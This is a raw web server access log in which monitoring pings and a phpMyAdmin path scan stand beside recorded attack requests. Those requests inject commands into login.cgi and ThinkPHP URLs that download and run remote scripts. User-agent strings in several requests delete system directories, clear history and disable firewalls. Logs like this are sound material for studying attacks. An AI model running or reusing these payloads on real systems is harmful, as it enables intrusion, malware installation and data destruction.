111.203.158.241 - - [18/Feb/2020:07:42:26 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:29 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:29 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:29 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:30 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:31 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:31 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:32 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [18/Feb/2020:07:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:42:36 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:37 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:37 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:37 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:38 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:40 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:40 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:41 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:41 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:41 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:42 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:43 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:44 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:44 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:46 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:46 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:47 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:47 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:48 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:48 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:48 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:49 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:49 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:49 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:50 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:50 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:50 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:51 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:51 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:51 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:52 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:52 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:53 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:53 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:54 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:54 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:55 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:56 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:58 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:58 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:59 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:42:59 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:02 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:03 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:03 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:03 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:04 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:05 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:05 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:06 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:06 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:07 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:08 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:08 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:08 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:09 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:09 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:10 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:10 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:11 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:11 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:11 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:12 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:12 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:12 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:13 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:14 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:18 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:18 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
111.203.158.241 - - [18/Feb/2020:07:43:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.253.150.171 - - [18/Feb/2020:07:46:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.253.150.171 - - [18/Feb/2020:07:46:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:07:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.69.38.42 - - [18/Feb/2020:07:47:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [18/Feb/2020:07:49:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:07:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.148.35 - - [18/Feb/2020:07:52:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
151.42.182.155 - - [18/Feb/2020:07:52:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.42.182.155 - - [18/Feb/2020:07:52:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.42.182.155 - - [18/Feb/2020:07:53:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.42.182.155 - - [18/Feb/2020:07:53:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.42.182.155 - - [18/Feb/2020:07:54:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.42.182.155 - - [18/Feb/2020:07:55:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.42.182.155 - - [18/Feb/2020:07:56:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.42.182.155 - - [18/Feb/2020:07:57:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.208.30.98 - - [18/Feb/2020:08:00:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:08:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.42.182.155 - - [18/Feb/2020:08:00:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.42.182.155 - - [18/Feb/2020:08:01:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:08:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.72.130.253 - - [18/Feb/2020:08:05:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.68.246.198 - - [18/Feb/2020:08:06:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [18/Feb/2020:08:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:08:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
